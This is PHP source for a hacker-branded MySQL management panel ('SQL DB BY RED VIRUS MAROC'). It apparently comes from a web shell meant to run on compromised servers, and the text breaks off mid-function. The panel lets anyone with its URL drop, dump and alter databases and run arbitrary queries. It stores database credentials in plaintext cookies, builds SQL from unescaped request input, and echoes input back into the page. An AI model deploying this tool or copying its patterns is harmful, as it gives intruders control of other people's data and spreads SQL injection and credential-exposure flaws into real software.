<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?


if ( function_exists('ini_get') ) {
	$onoff = ini_get('register_globals');
} else {
	$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
	@extract($HTTP_SERVER_VARS, EXTR_SKIP);
	@extract($HTTP_COOKIE_VARS, EXTR_SKIP);
	@extract($HTTP_POST_FILES, EXTR_SKIP);
	@extract($HTTP_POST_VARS, EXTR_SKIP);
	@extract($HTTP_GET_VARS, EXTR_SKIP);
	@extract($HTTP_ENV_VARS, EXTR_SKIP);
}

function logon() {
	global $PHP_SELF;

	setcookie( "mysql_web_admin_username" );
	setcookie( "mysql_web_admin_password" );
	setcookie( "mysql_web_admin_hostname" );
	echo "<html>\n";
	echo "<head>\n";
	echo "</head>\n";
	echo "<body>\n";
	echo "<table width=100% height=100%><tr><td><center>\n";
	echo "<table cellpadding=2><tr><td bgcolor=black><center>\n";
	echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n";
	echo "<font size=5 color=red>SQL DB BY RED VIRUS MAROC </font>\n";
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=logon_submit>\n";
	echo "<table cellpadding=5 cellspacing=1>\n";
	echo "<tr><td><font color=red>Hostname </font></td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=hostname value='localhost'></td></tr>\n";
	echo "<tr><td><font color=red>Username </font></td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=username></td></tr>\n";
	echo "<tr><td><font color=red>Password </font> </td><td> <input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=password name=password></td></tr>\n";
	echo "</table><p>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Enter'>\n <br>";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=reset value='Clear'><br>\n <br>";
	echo "</form>\n";
	echo "</center></td></tr></table>\n";
	echo "</center></td></tr></table>\n";
	echo "<p><hr width=300>\n";
	echo "</center></td></tr></table>\n";
	echo "</body>\n";
	echo "</html>\n";
}

function logon_submit() {
	global $username, $password, $hostname ,$PHP_SELF;
	if($hostname =='')
		$hostname = 'localhost';
	setcookie( "mysql_web_admin_username", $username );
	setcookie( "mysql_web_admin_password", $password );
	setcookie( "mysql_web_admin_hostname", $hostname );
	echo "<html>";
	echo "<head>";
	echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>";
	echo "</head>";
	echo "</html>";
}

function echoQueryResult() {
	global $queryStr, $errMsg;

	if( $errMsg == "" ) $errMsg = "Success";
	if( $queryStr != "" ) {
		echo "<table cellpadding=5>\n";
		echo "<tr><td>Query</td><td>$queryStr</td></tr>\n";
		echo "<tr><td>Result</td><td>$errMsg</td></tr>\n";
		echo "</table><p>\n";
	}
}

function listDatabases() {
	global $mysqlHandle, $PHP_SELF;

	echo "<h1>Databases List</h1>\n";

	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createDB>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Database'>\n";
	echo "</form>\n";
	echo "<hr>\n";

	echo "<table cellspacing=1 cellpadding=5>\n";

	$pDB = mysql_list_dbs( $mysqlHandle );
	$num = mysql_num_rows( $pDB );
	for( $i = 0; $i < $num; $i++ ) {
		$dbname = mysql_dbname( $pDB, $i );
		echo "<tr>\n";
		echo "<td>$dbname</td>\n";
		echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>\n";
		echo "</tr>\n";
	}
	echo "</table>\n";
}

function createDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_create_db( $dbname, $mysqlHandle );
	listDatabases();
}

function dropDatabase() {
	global $mysqlHandle, $dbname, $PHP_SELF;

	mysql_drop_db( $dbname, $mysqlHandle );
	listDatabases();
}

function listTables() {
	global $mysqlHandle, $dbname, $PHP_SELF;


	echo "<h1>Tables List</h1>\n";
	echo "<p class=location>$dbname</p>\n";
	echoQueryResult();
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=createTable>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text name=tablename>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Create Table'>\n";
	echo "</form>\n";
	echo "<form action='$PHP_SELF'>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=query>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=text size=120 name=queryStr>\n";
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=submit value='Query'>\n";
	echo "</form>\n";
	echo "<hr>\n";

	$pTable = mysql_list_tables( $dbname );

	if( $pTable == 0 ) {
		$msg  = mysql_error();
		echo "<h3>Error : $msg</h3><p>\n";
		return;
	}
	$num = mysql_num_rows( $pTable );

	echo "<table cellspacing=1 cellpadding=5>\n";

	for( $i = 0; $i < $num; $i++ ) {
		$tablename = mysql_tablename( $pTable, $i );

		echo "<tr>\n";
		echo "<td>\n";
		echo "$tablename\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>\n";
		echo "</td>\n";
		echo "<td>\n";
		echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>\n";
		echo "</td>\n";
		echo "</tr>\n";
	}

	echo "</table>";
}

function createTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "CREATE TABLE $tablename ( no INT )";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function dropTable() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "DROP TABLE $tablename";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	listTables();
}

function viewSchema() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;

	echo "<h1>Table Schema</h1>\n";
	echo "<p class=location>$dbname &gt; $tablename</p>\n";

	echoQueryResult();

	echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n";
	echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n";
	echo "<hr>\n";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	echo "<table cellspacing=1 cellpadding=5>\n";
	echo "<tr>\n";
	echo "<th>Field</th>\n";
	echo "<th>Type</th>\n";
	echo "<th>Null</th>\n";
	echo "<th>Key</th>\n";
	echo "<th>Default</th>\n";
	echo "<th>Extra</th>\n";
	echo "<th colspan=2>Action</th>\n";
	echo "</tr>\n";


	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		echo "<tr>\n";
		echo "<td>".$field["Field"]."</td>\n";
		echo "<td>".$field["Type"]."</td>\n";
		echo "<td>".$field["Null"]."</td>\n";
		echo "<td>".$field["Key"]."</td>\n";
		echo "<td>".$field["Default"]."</td>\n";
		echo "<td>".$field["Extra"]."</td>\n";
		$fieldname = $field["Field"];
		echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n";
		echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n";
		echo "</tr>\n";
	}
	echo "</table>\n";

}

function manageField( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Field</h1>\n";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Field</h1>\n";
		$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
		$num = mysql_num_rows( $pResult );
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_array( $pResult );
			if( $field["Field"] == $fieldname ) {
				$fieldtype = $field["Type"];
				$fieldkey = $field["Key"];
				$fieldextra = $field["Extra"];
				$fieldnull = $field["Null"];
				$fielddefault = $field["Default"];
				break;
			}
		}
		$type = strtok( $fieldtype, " (,)\n" );
		if( strpos( $fieldtype, "(" ) ) {
			if( $type == "enum" | $type == "set" ) {
				$valuelist = strtok( " ()\n" );
			} else {
				$M = strtok( " (,)\n" );
				if( strpos( $fieldtype, "," ) )
					$D = strtok( " (,)\n" );
			}
		}
	}

	echo "<p class=location>$dbname &gt; $tablename</p>\n";
	echo "<form action=$PHP_SELF>\n";

	if( $cmd == "add" )
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=addField_submit>\n";
	else if( $cmd == "edit" ) {
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=action value=editField_submit>\n";
		echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=old_name value=$fieldname>\n";
	}
	echo "<input 
style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type=hidden name=dbname value=$dbname>\n";
	echo "<input 
 type=hidden name=tablename value=$tablename>\n";

	echo "<h3>Name</h3>\n";
	echo "<input  type=text name=name value=$fieldname><p>\n";
	echo '

<h3>Type</h3>

<font size=2>
* `M\' indicates the maximum display size.<br>
* `D\' applies to floating-point types and indicates the number of digits following the decimal point.<br>
</font>

<table>
<tr>
<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th>
</tr>
<tr>
<td><input type=radio name=type value="TINYINT" '; if( $type == "tinyint" ) echo "checked";echo '>TINYINT (-128 ~ 127)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input   type=radio name=type value="SMALLINT" '; if( $type == "smallint" ) echo "checked";echo '>SMALLINT (-32768 ~ 32767)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMINT" '; if( $type == "mediumint" ) echo "checked";echo '>MEDIUMINT (-8388608 ~ 8388607)</td>

<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="INT" '; if( $type == "int" ) echo "checked";echo '>INT (-2147483648 ~ 2147483647)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BIGINT" '; if( $type == "bigint" ) echo "checked";echo '>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="FLOAT" '; if( $type == "float" ) echo "checked";echo '>FLOAT</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DOUBLE" '; if( $type == "double" ) echo "checked";echo '>DOUBLE</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DECIMAL" '; if( $type == "decimal" ) echo "checked";echo '>DECIMAL(NUMERIC)</td>
<td align=center>O</td>
<td align=center>O</td>
<td>&nbsp</td>
<td align=center>O</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATE" '; if( $type == "date" ) echo "checked";echo '>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="DATETIME" '; if( $type == "datetime" ) echo "checked";echo '>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIMESTAMP" '; if( $type == "timestamp" ) echo "checked";echo '>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TIME" '; if( $type == "time" ) echo "checked";echo '>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="YEAR" '; if( $type == "year" ) echo "checked";echo '>YEAR (1901 ~ 2155, 0000, YYYY)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="CHAR" '; if( $type == "char" ) echo "checked";echo '>CHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="VARCHAR" '; if( $type == "varchar" ) echo "checked";echo '>VARCHAR</td>
<td align=center>O</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td align=center>O</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYTEXT" '; if( $type == "tinytext" ) echo "checked";echo '>TINYTEXT (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TEXT" '; if( $type == "text" ) echo "checked";echo '>TEXT (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMTEXT" '; if( $type == "mediumtext" ) echo "checked";echo '>MEDIUMTEXT (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGTEXT" '; if( $type == "longtext" ) echo "checked";echo '>LONGTEXT (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="TINYBLOB" '; if( $type == "tinyblob" ) echo "checked";echo '>TINYBLOB (0 ~ 255)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="BLOB" '; if( $type == "blob" ) echo "checked";echo '>BLOB (0 ~ 65535)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="MEDIUMBLOB" '; if( $type == "mediumblob" ) echo "checked";echo '>MEDIUMBLOB (0 ~ 16777215)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr>
<tr>
<td><input type=radio name=type value="LONGBLOB" '; if( $type == "longblob" ) echo "checked";echo '>LONGBLOB (0 ~ 4294967295)</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
<td>&nbsp</td>
</tr> 
<tr>
<td><input type=radio name=type value="ENUM" '; if( $type == "enum" ) echo "checked";echo '>ENUM</td>
<td colspan=5><center>value list</center></td>
</tr>
<tr>
<td><input type=radio name=type value="SET" '; if( $type == "set" ) echo "checked";echo '>SET</td>
<td colspan=5><center>value list</center></td>
</tr>

</table>
<table>
<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: \'apple\', \'orange\', \'banana\') </th></tr>
<tr>
<td align=center><input type=text size=4 name=M '; if( $M != "" ) echo "value=$M";echo '></td>
<td align=center><input type=text size=4 name=D '; if( $D != "" ) echo "value=$D";echo '></td>
<td align=center><input type=checkbox name=unsigned value="UNSIGNED" '; if( strpos( $fieldtype, "unsigned" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=zerofill value="ZEROFILL" '; if( strpos( $fieldtype, "zerofill" ) ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=binary value="BINARY" '; if( strpos( $fieldtype, "binary" )  ) echo "checked";echo '></td>
<td align=center><input type=text size=60 name=valuelist '; if( $valuelist != "" ) echo "value=\"$valuelist\"";echo '></td>
</tr>
</table>


<h3>Flags</h3>
<table>
<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr>
<tr>
<td align=center><input type=checkbox name=not_null value="NOT NULL" '; if( $fieldnull != "YES" ) echo "checked";echo '></td>
<td align=center><input type=text name=default_value '; if( $fielddefault != "" ) echo "value=$fielddefault";echo '></td>
<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" '; if( $fieldextra == "auto_increment" ) echo "checked";echo '></td>
<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" '; if( $fieldkey == "PRI" ) echo "checked";echo '></td>
</tr>
</table>

<p>';

	if( $cmd == "add" )
		echo "<input type=submit value='Add Field'>\n";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Field'>\n";
	echo "<input type=button value=Cancel onClick='history.back()'>\n";
	echo "</form>\n";
}

function manageField_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg,
		$M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist;

	if( $cmd == "add" )
		$queryStr = "ALTER TABLE $tablename ADD $name ";
	else if( $cmd == "edit" )
		$queryStr = "ALTER TABLE $tablename CHANGE $old_name $name ";
	
	if( $M != "" )
		if( $D != "" )
			$queryStr .= "$type($M,$D) ";
		else
			$queryStr .= "$type($M) ";
	else if( $valuelist != "" ) {
		$valuelist = stripslashes( $valuelist );
		$queryStr .= "$type($valuelist) ";
	} else
		$queryStr .= "$type ";

	$queryStr .= "$unsigned $zerofill $binary ";

	if( $default_value != "" )
		$queryStr .= "DEFAULT '$default_value' ";
	
	$queryStr .= "$not_null $auto_increment";

	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	// key change
	$keyChange = false;
	$result = mysql_query( "SHOW KEYS FROM $tablename" );
	$primary = "";
	while( $row = mysql_fetch_array($result) )
		if( $row["Key_name"] == "PRIMARY" ) {
			if( $row[Column_name] == $name )
				$keyChange = true;
			else
				$primary .= ", $row[Column_name]";
		}
	if( $primary_key == "PRIMARY KEY" ) {
		$primary .= ", $name";
		$keyChange = !$keyChange;
	}
	$primary = substr( $primary, 2 );
	if( $keyChange == true ) {
		$q = "ALTER TABLE $tablename DROP PRIMARY KEY";
		mysql_query( $q );
		$queryStr .= "<br>\n" . $q;
		$errMsg .= "<br>\n" . mysql_error();
		$q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )";
		mysql_query( $q );
		$queryStr .= "<br>\n" . $q;
		$errMsg .= "<br>\n" . mysql_error();
	}

	viewSchema();
}

function dropField() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname";
	mysql_select_db( $dbname, $mysqlHandle );
	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewSchema();
}

function viewData( $queryStr ) {
	global $action, $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;

	echo "<h1>Data in Table</h1>\n";
	if( $tablename != "" )
		echo "<p class=location>$dbname &gt; $tablename</p>\n";
	else
		echo "<p class=location>$dbname</p>\n";

	$queryStr = stripslashes( $queryStr );
	if( $queryStr == "" ) {
		$queryStr = "SELECT * FROM $tablename";
		if( $orderby != "" )
			$queryStr .= " ORDER BY $orderby";
		echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
		echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
	}

	$pResult = mysql_db_query( $dbname, $queryStr );
	$fieldt = mysql_fetch_field($pResult);
	$tablename = $fieldt->table;
	$errMsg = mysql_error();

	$GLOBALS[queryStr] = $queryStr;

	if( $pResult == false ) {
		echoQueryResult();
		return;
	}
	if( $pResult == 1 ) {
		$errMsg = "Success";
		echoQueryResult();
		return;
	}

	echo "<hr>\n";

	$row = mysql_num_rows( $pResult );
	$col = mysql_num_fields( $pResult );

	if( $row == 0 ) {
		echo "No Data Exist!";
		return;
	}
	
	if( $rowperpage == "" ) $rowperpage = 30;
	if( $page == "" ) $page = 0;
	else $page--;
	mysql_data_seek( $pResult, $page * $rowperpage );

	echo "<table cellspacing=1 cellpadding=2>\n";
	echo "<tr>\n";
	for( $i = 0; $i < $col; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		echo "<th>";
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
		else
			echo "<font	style='text-decoration:none;color:#000000;font-size:x-small;'>".$field->name."</font>\n";
		echo "</th>\n";
	}
	echo "<th colspan=2>Action</th>\n";
	echo "</tr>\n";

	for( $i = 0; $i < $rowperpage; $i++ ) {
		$rowArray = mysql_fetch_row( $pResult );
		if( $rowArray == false ) break;
		echo "<tr>\n";
		$key = "";
		for( $j = 0; $j < $col; $j++ ) {
			$data = $rowArray[$j];

			$field = mysql_fetch_field( $pResult, $j );
			if( $field->primary_key == 1 )
				$key .= "&" . $field->name . "=" . $data;

			if( strlen( $data ) > 30 )
				$data = substr( $data, 0, 30 ) . "...";
			$data = htmlspecialchars( $data );
			echo "<td>\n";
			echo "$data\n";
			echo "</td>\n";
		}
		 
		if( $key == "" )
			echo "<td colspan=2>no Key</td>\n";
		else {
			echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
			echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
		}
		echo "</tr>\n";
	}
	echo "</table>\n";

	echo "<font size=2>\n";
	if($action == "viewData")
		echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n";
	else
		echo "<form action='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr' method=post>\n";
	echo "<font color=green>\n";
	echo ($page+1)."/".(int)($row/$rowperpage+1)." page";
	echo "</font>\n";
	echo " | ";
	if( $page > 0 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Prev</a>\n";
	} else
		echo "Prev";
	echo " | ";
	if( $page < ($row/$rowperpage)-1 ) {
		if($action == "viewData")
			echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2);
		else
			echo "<a href='$PHP_SELF?action=query&dbname=$dbname&tablename=$tablename&queryStr=$queryStr&page=".($page+2);
		if( $orderby != "" && $action == "viewData")
			echo "&orderby=$orderby";
		echo "'>Next</a>\n";
	} else
		echo "Next";
	echo " | ";
	if( $row > $rowperpage ) {
		echo "<input type=text size=4 name=page>\n";
		echo "<input type=submit value='Go'>\n";
	}
	echo "</form>\n";
	echo "</font>\n";
}

function manageData( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF;

	if( $cmd == "add" )
		echo "<h1>Add Data</h1>\n";
	else if( $cmd == "edit" ) {
		echo "<h1>Edit Data</h1>\n";
		$pResult = mysql_list_fields( $dbname, $tablename );
		$num = mysql_num_fields( $pResult );
	
		$key = "";
		for( $i = 0; $i < $num; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			if( $field->primary_key == 1 )
				if( $field->numeric == 1 )
					$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
				else
					$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
		}
		$key = substr( $key, 0, strlen($key)-4 );

		mysql_select_db( $dbname, $mysqlHandle );
		$pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
		$data = mysql_fetch_array( $pResult );
	}

	echo "<p class=location>$dbname &gt; $tablename</p>\n";

	echo "<form action='$PHP_SELF' method=post>\n";
	if( $cmd == "add" )
		echo "<input type=hidden name=action value=addData_submit>\n";
	else if( $cmd == "edit" )
		echo "<input type=hidden name=action value=editData_submit>\n";
	echo "<input type=hidden name=dbname value=$dbname>\n";
	echo "<input type=hidden name=tablename value=$tablename>\n";
	echo "<table cellspacing=1 cellpadding=2>\n";
	echo "<tr>\n";
	echo "<th>Name</th>\n";
	echo "<th>Type</th>\n";
	echo "<th>Function</th>\n";
	echo "<th>Data</th>\n";
	echo "</tr>\n";

	$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
	$num = mysql_num_rows( $pResult );

	$pResultLen = mysql_list_fields( $dbname, $tablename );

	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_array( $pResult );
		$fieldname = $field["Field"];
		$fieldtype = $field["Type"];
		$len = mysql_field_len( $pResultLen, $i );

		echo "<tr>";
		echo "<td>$fieldname</td>";
		echo "<td>".$field["Type"]."</td>";
		echo "<td>\n";
		echo "<select name=${fieldname}_function>\n";
		echo "<option>\n";
		echo "<option>ASCII\n";
		echo "<option>CHAR\n";
		echo "<option>SOUNDEX\n";
		echo "<option>CURDATE\n";
		echo "<option>CURTIME\n";
		echo "<option>FROM_DAYS\n";
		echo "<option>FROM_UNIXTIME\n";
		echo "<option>NOW\n";
		echo "<option>PASSWORD\n";
		echo "<option>PERIOD_ADD\n";
		echo "<option>PERIOD_DIFF\n";
		echo "<option>TO_DAYS\n";
		echo "<option>USER\n";
		echo "<option>WEEKDAY\n";
		echo "<option>RAND\n";
		echo "</select>\n";
		echo "</td>\n";
		$value = htmlspecialchars($data[$i]);
		if( $cmd == "add" ) {
			$type = strtok( $fieldtype, " (,)\n" );
